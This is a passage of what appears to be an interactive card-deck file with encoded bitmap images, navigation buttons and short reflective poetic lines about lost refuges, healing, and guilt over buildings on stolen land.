TLLSaZkm/6//y2Q==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[205,62],&#34;pos&#34;:[6,25],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;i discovered my last refuge later, when my first three failed me in ways they never had before.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[226,20],&#34;pos&#34;:[26,95],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;i could not flee to the forest.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[242,18],&#34;pos&#34;:[82,123],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;the past held no answers for me.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field4:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[232,46],&#34;pos&#34;:[230,179],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;the truth is, i was born to the delicate, joyous flame of joined hands and regular maintenance.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field5:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[274,18],&#34;pos&#34;:[112,152],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;no spell or trance could heal my hurt.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card11}&#xA;image:&#34;%%IMG0AgABVv////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9/v///////////////////////////////////////////////////////////////////////////////////3abvu//7r+///////////////////////////////////////////////////////////////////////////92m77v/+6/v//////////////////////////////////////////////////////////////////////////7//u//vu9f7f3/////////////////////////////////////////////////////////////////////////3/3//+//tVd/+///////////////////////////////////////////////////////////////////////////////16v/////////////////////////////////////////////////////////////////////////////////+///v/////////////////////////////////////////////////////////////////////////////////7///////////////////////////////////////////////////////////////////////////////////////9//////////////////////////////////////////////////////////////////////////////v/v+t/v/7////////////////////////////////////////////////////////////////////////////t///3+//////////////////////////////////////////////////////////////////////////////9//W331p7d07/////////////////////////////////////////////////////////////////////////deu/3/Oqur23///////////////////////////////////////////////////////////////////////9+/l0qa2Ule+3z//X/////////////////////////////////////////////////////////////////3//v1Zqkqra1EikyXvu+/////////////////////////////////////////////////////////////////9/v/75V2qVJStTK1V3fX+///////////////////////////////////////////////////////////////////naSqqJSqlIqpUktNbfr////////////////////////////////////////////////////////////93Vf9//1VKVFSklU0kpVUlVX/////////////////////////////////////////////////////////////7q0qqqkUqpSpKlVKsqpSk1Nqf/////////////////////////////////////////////////////////u1aqkspJKSlVSlJlKkkkUkqlSUsbd/////////////////////////////////////////////////////////9LSVTVVKVWpKUpaJKqlKlSUkUkyq/f/////////////////////////////////////////////////////////epKySVJJkkpVRVUklNKlUq1VRWqdv/////////////////////////////////////////////////////////1UiSSVJEqlIqKSkqolKSpMlLSVZW1v//////////////////////////////////////////////////////++SUqqqqpVKUxEVKqSykpErSlJKmqqmuu93///////////////////////////////////////////////////96pFVJFSJJSipSUkSSVSqpFKVUlklVVcar/////////////////////////////////////////////////f/76StIkqikqlKplKSqopJSkiUpJSiVKlU1Vb////////////////////////////////////////////////WdqpVTJVSVJSUpSkpVJJFJSUrSlKqmpJKSskr+u/////////////////////////////////////////////VVZUqqS1UlKVlJSpIpRKlSlSqVFKVSSSqlKkqpS/+///////////////////////////////////////////tZKpVSSSRJUqSEqlJVlSpKTFKSUspSKVaSVKUySlKvv//////////////////////////////////////////9pVJklJKrUpSVWpSlSFJSkpKkpKTSlUpIpUlUtKlKSyr9////////////////////////////////////////7lSVFUqqSJRKSSJFKSWVKVSiVSpSKUlSplSqJTUlKSilfbv///////////////////////////////////////qSqWkpJVMqqVJEqJJVolJJTJJSispSiklJSVSyqlVUqS7////////////////////////////////////////6kqlpKSVTKqlSRKiSVaJSSUySUorKUopJSUlUsqpVVKku////////////////////////////////////////5dUkipSolJJKSqUlSSRVKqStSSlSJSlSqKSlJTSSkpMqr/3/////////////////////////////////////qVlKSpSlJVMkkSkiSpVSJESKjJVFJSpKJSaVSUpJVKUrUkkt5////////////////////////////////////0iUpVJlKVIoqlSSRKRIiZKpUlJIqJIRUqiRSSpSikpSpEqlVLu////////////////////////////////////XpSkqikpKpJKSpKKSpSokkiShVSVVJSVFVpJSlLKSlEiUlSVb/////////////////////////////////////9qUlJKlVJRJSlJZKSiBlSVSLISSSNSQqkhVKUpJVUqrUqlUmVX///////////////////////////////////96pVKUqklTVSklIlJFWihIhJEpJJLJKwkmkkKUspIpSKUlJSJL////////////////////////////////////1nVKalKlKJKlVJqJKSWVJTKiUpUpFJCkkUlYokRJVKRUqVKlVe///////////////////////////////////6qklJKlKksklJKiVVSSIqpKTUUooiKlKqaVJUqKqqUUkpKUpSS///f//////////////////////////////+lSlVKJFJKkqkpJJKSKSakRJJCokkrUVJEoSJIpRSRJU0lKSkSq6/3v//////////////////////////////tWpSkqaqkqSySUkpkSUVJEpUktBSUpAolKRpKkpIpKkqsqVVKZSVK/P/////////////////////////////3UqJSklRJKkSRSokhEpJSUKlJUkWlSktlSUqipKpJBUqkTSpJVWlSqtR7/////////////////////////////UpEpVVFkqSqoiRQCABJJIkiJIU0SRCQiJSQmkkRVTSRKqykpSSKlJL0n////////////////////////////7apWpSSUlRKSS1JBAAABJJQlJJSQpKqqypKSkEqqiTKVJJNKpKSkkpVfK////////////////////////////3ZJSUpKpWSlJJAkkgglQEEiUlJJIkkQRCkkJKaUJFJEKUpIlJVKmVSqvd7////////////////////////////5VSZSpFISUJJLSAABAFUqVBSJJJEkppLElVUpRUkpMpJSpElJKUUqkq4v//////////////////////////8qEqSpSkqklUUkkAAAAAAAAAGiUkkiSUgkKSkiRiiSokqkpEtSklJaUlSU1f+/////////////////////////1VUqSFKglQgqAAAAAAAAAAAAESSUkpQlSRSElKFKSRUIkiqkSFUqmSUlUsrb9////////////////////////clSUpFJCACQkBAAAAAAAAAAAAAAAEwilJIiqkkJJJJSRSqSSJWSSSVUqSUpJar///////////////////////4vKSSolCAAAACAAAAAAAAAAAAEAFIRSAAEyEKSqJJJJLJEpJRKSVJCSkqUyqpVX///////////////1/Veqq1VKUVJIQABAAAAAIAAAAAAAAAAAAAAoQAAAAEQRCYklJKJKRJTUJKEpJCSKRIkiVKv////////qqqqVUpRISkQiRBIAAAAACAAAAAAAAAAAAAAAAAAAAAAAIAAAAAACSJIRJKkiJUoUiJIBITJSVIhH//////qtVKSRCIUikSABAAAACIIREAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAACAEkrJKElMiUpVEkqqq0pUlUq//////8kSUpKpJQSAABEAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQJIUkkSQpCWkpBJCkikkyf//////qJKUqIKqwEQCAAJCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEyggEAAABAESVCUiX//////9SpSkpZAAgBkBCQAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAACAAA///////zSlEimAABEACAAAAAAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJEASAAAEIxP///////KUqgAIkkAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkBAAAH///////sqSSgYAABCJAIAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAACAEIQ///////7KkkoGAAAQiQCACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAgBCEP//////9JKkoUEQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAEAAIAAD///////yqSUQAQSAIACAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAIkQAIAAgC////////pSoqIggBAAEAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAEgAABIUSCIP///////0pJSIAAiCBIBAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAEEAACVMr///////ilVKUYkAAEAAAAQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAIAIIAAQ///////XKSKUAgEQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAQACACQQABAP//////5JSUQUBEBAAiQRIAIEQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAgAAAAAJIAT//////8hSqqoEAEASAAgAEAAAEARCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAgBJAIQAQg///////8qkSUoSARAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgAIAA////////KSZKUQEgCAkgCAAgACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAI/0Q////////iVRUSlUAgJgBIEgBAgAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAIAECAAP8Tf///////7VKqVGKUggAAAAAIABAkQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAmAiAEBM//f////////9JJRUqUSSiISQSAgAgAAAiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACABAAAEAADv////////////qpiRCVJAUQAQBAJCAQAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAgAJEw/////////////0lFVJIlFRZEQSAwAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAABwkAABf////////////0qVSVhVCigkAAAgAAEJCEACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACET/ASBAH/////////////ySiSCACAEAISEgJIEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAkADfiAIEw/////////////9VSqWAAIIEgQAAAAICABAEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABACE//wAQDn/////////////0lSQBAAQACASARQIAEgAIIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAf/4kBH//////////////9VJJACIACCUQCTRIqqGQQAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMQkhH/94qn///////////////0pVWgAACBAoiABIhIUSpVVGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABB///hD////////////////UpJlVaAJKgAAAEikohJIiKKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAf//6k////////////////9SpEkhBUIkEhIoiERREklIkCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQSAn///E/////////////////6kpSSikkSUCAAFKShkkSJQqCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8JAf//zf////////////////1UplSlEhSQSBCIJJFEiSRCEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/wAF////////////////////9JUiikkliSpFEUpJKGSSSlEoSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB//3AIf///////////////////7pJWVElSFJEkkwlIkUSSREmRRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB8f//gQH////////////////////6qppKUhJJKSSRSJSIiSSkkQghAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIP7//wAJ/////////////////9//9UlEkpVJkkSRIlIiUmJJEiZSiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADP////Ep//////////////////f//VJRJKVSZJEkSJSIlJiSRImUogAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAz////xKf////////////////////UkpkqSFIkkkpMiUkkiSIkkIEipAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf78//6IP////////////////+5//6lRaiSUpkkkiIkQkkmRJSSZUiBFEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////+I3//////////////////7/dKqolJJQiSSSUySkkkSkiSREhFEMFSAAAAAAAAAAAAAAAAAAAABAAAAAAX/////Ivv////////////////599KpJSVJVKmSSSSRKUkkiCSJJkFEEQUBIAAAAAAAAAAAAAAAAAAAB/gAAAAf/////g/n//////////////////tVJUiiKpEKJKSSTKIkkmVCUkiUEUQwFAoBgAABIhAAAAAAAAAAAB9gAAAAPv////+f8//////////////////zKVSqRURKpZIpKSIUkkkIkISRAoQRCoFAABAoFACEAAAAAAAAAAAkAAAAAz//////v///////////////////9+VJUpkqkiglQkJMokkkkiIIACgSREAUEAAAAACgAAAAAAAAAAAA2AQAAAh//////////////////////////+vpNSqkkUlFqKkpIkkkkQlIoqlFQJEKgQAAAAAAAAAAAAAAAAAAAEPwAAAAL//////H7//////////////////zVNJJGSoUlEUEpIyUkkoSAQQAEAoEQCQAAAAAAAAAAAAAAAAAAADk/AAAAD7/////0f//////////////////1KUqpKVFQkmRUhJRIkkRZKpRVoVQoQkAAAAAAAAAAAAAAAAAAAABppwAAAD//////4X//////////////////+iUpJVCKFUkShSkjJSSShEAAgAoAQQEQAAAAAAAAAAAAAAAAAAAAP0AAAAAP//////pf/////////////////+TSSpIpJUgkiFCSSEiRJFkVVCgAqpRQQAAAAAAAAAAAAAAAAAAAAAHgAAABL//////rP//////////////////qxJJUkKiSkmBKSRMiSklCQAKBlQABAgAAAAAAAAAAAAAAAAAAAABHYwAAASD//////n3/////////////////oRCpJUkSSQACAACkSSEkJCpAKABSSEAAAAAAAAAAAAAAAAAAAAAAOB8AAAQv//////+f/////////////////+oARUkQpJAAAAAAAJJKSUCBAAAJASIAAAAAAAAAAAAAAAAAAAAAADg8AAMOBP//8/////////////////////+VAAikQRJAIAACAAgkkSSaSEAAAAgAAAAAAAAAAAAAAAAAAAAAAAAHIQAfn/2f///////////////////////+pAABEABJAgIIAAAAACSSWSEAAAACQAAAAAAAAAAAAAAAAAAAAAAACUcMH/f//////////////////////////VIAAAAQAAAAAAAAAAAIRIQIQAAAAAAAAAAAAAAAAAAAAAAAAACAADw/OB/n/b9///////////////////////5JAAAAAAAAAAAAAAAAApIgoQAAAAAAAAAAAAAAAAAAAAAAAAAH8YB///v/+8CP///////////////////////6kAAAAAAAAAAAAAAAAAAghAAAAAAAAAAAAAAAAAAAAAAAAQAAN//AN/////7n////////////////////////+kAAAAAAAAAAAAAAAAAAAiIAAAAAAAAAAAAAAAAAAAAAAAPAD////nH//////////////////////////////1QAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABz//////////////////////////////////////88APAfjwAAAAAAQAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAA+///z//////////////////////////////////////////////+//8MiAIcg/6gAAAAAAHxAAYAAAAAAAAAADP//+////////////////////////////////////////////+/////n//////////4eJ/P////x+QAAQADgAA3////////////////////////////////////////////////n///////////////////////////wP///////////////////////////////////////////////////////7///////////////////////////8H///////////////////////////////////////////////////////+////////////////5/1/9/VVUkRIoEv//////////////////////////////////////////////////////v///////////////+f9f/f1VVJESKBL//////////////////////////////////////////////////////7//////////////////v/////UqiUqlJgVIirVVVVT///////////////////////////////////////////+///////////////////////////6SqVnd//////////+q2v///9//////////////////////////////////v///////////////////////////Il//////////////3uf////v/////////////////////////////////7///////////////////////////+f////////////////////////////////////////////////////////////////////////////////////3////////////////////////////////////////////////////////////////////////////////////x///v/////////////////////////////////////////////////////////////////////////////////f////////////////////////////////////////////////////////////////////////////////////v////////////////////////////////////////////////////////////////////////////////////9////////////////////////////////////////////////////////////////////////////////////+v////////////////////////////////////////////////////////////////////////////////////X////////////////////////////////////////////////////////////////////////+///////////x/////////////////////////////////////////////////////////////////////////3//////////+P//+//////////////v//////3///////////////////////////////////////////////1/r////////+l///f////////////////////////////////////////////////////////////////////9f+/////////Qf////////////////////////////////////////////////////////////////////////v//////////9f////////////////////////////////////////////////////////////////////////////////////L////////////////////////////////////////////////////////////////////////////////////A///////////////////////////////////////////////////////////////////////////v////////+/////////////////////////////////////////////////////////////////////////1/n////////+T////////////////////////////////////////////////////////////////////////+/6/////////x/////////////////////////////////////////////////////////////////////////v/f////////9f////////////////////////////////////////////////////////////////////////////////////L////////////////////////////////////////////////////////////////////////////////////g////////////////////////////////////////////////////////////////////////////////////4P////////////////////////////////////////////////////////////////////////////////////F////////////////////////////////////////////////////////////////////////////////////9f////////////////////////////////////////////////////////////////////////////////////v////////////////////////////////////////////////////////////////////////////////////6////////////////////////////////////////////////////////////////////////////////////+v///////////////////////////////////////////////////////////////////////////////////+X////////////////////////////////////////////////////////////////////////////////////h////////////////////////////////////////////////////////////////////////////////////0//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////f/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////7v////////////////////////////////////////////////////////////////////////////////////C////////////////////////////////////////////////////////////////////////////////////6f///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////3////////////////////////////////////////////////////////////////////////////////////+S///v////////////////////////////////////////////////////////////////////////////////h////////////////////////////////////////////////////////////////////////////////////1////////////////////////////////////////////////////////////////////////////////////8Cv//////////////////////////////////////////////////////////////////////////f////////zf///////////////////////////////////////////////////////////////////////////////////9f////////////////////////////////////////////////////////////////////////////////////////f////////////////////////////////////////////////////////////////////////////////+///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////w==&#34;&#xA;{widgets}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[380,20],&#34;pos&#34;:[23,27],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;there is a part of me that wants it all to disappear,&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[397,45],&#34;pos&#34;:[72,59],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;for me and mine to wake up one day on the stolen, blood-soaked ground our buildings stood on with nothing to our names but the friends and families we built,&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[397,34],&#34;pos&#34;:[92,117],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;to suffer in some kind of twisted recompence for the suffering that precipitated my birth.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card6}&#xA;image:&#34;%%IMG0AgABVgAIkkkrbbe+//////////////////////////////////////////////////////////////////////////8kykktqTNsy5mZtrZttmTTbf//////////////////////////////////////////////////////////////EjNtpJbabvru7tu3ttu/fbdtt3/f/////////////////////////////////////////////////////////0kkIlNyzts27u7bbbbbs673v/3t/ff///////////////////////////////////////////////////////8JCZpZGzOZ1zN3vdttvN7z3Pbv/7+/v/////////////////////////////////////////////////////+7JNlJjM207tnfXe3e++fbX2/fv7v3/////////////////////////////////////////////////////////yRGZmbkzzbu2e1vdtt9e/27e/3vf3/9/////////////////////////////////////////////////////f8TJJTTNmnbNu87u222226m9+73///9/////////////////////////////////7////////////////////f/SLM1mZu9bds79vvvttu2/52/v373//////////////////////////////////f/////////////////////9ySJZmzJlmbb7N/Outttvdn/+//33+/3//////////////////////////////////////////////////////8lLJmOdnO7bbezfvbttu2/bt/bv/+/////////////////////////////////////////////////////////GSaVMzbNrbbdvvPdttvbt/v3f/u+/////////////////////////////////////////////////////////0LSZtnLdm27du2/b97ddvTff/3///////////////////////////////////////////////////////////9aGWrM2Vubb27dzfpzt29v99vvv3v/f///////////////////////////////////////////////////////EaUZNmeZ9tnbd3+b/bu7233+/vf//////////////////////////////////////////////////////////2SllWc87Tbfd2/2/57s7v/fb7f/7/f///////////////////////////////////////////////////////8aWM0xk2dbZ23a3+b3t9s29/v/3f+/////////////////////////////////////////////////////////S0pjnO5623m7f7s+9329932+2/+//////////////////////////////////////////////////////////2SmNM6pm7be7u3v+73O593f7/77+/////////////////////////////////////////////////////////80sZUzN7Vm17e7fd+tu35/tvt/3///////////////////////////////////////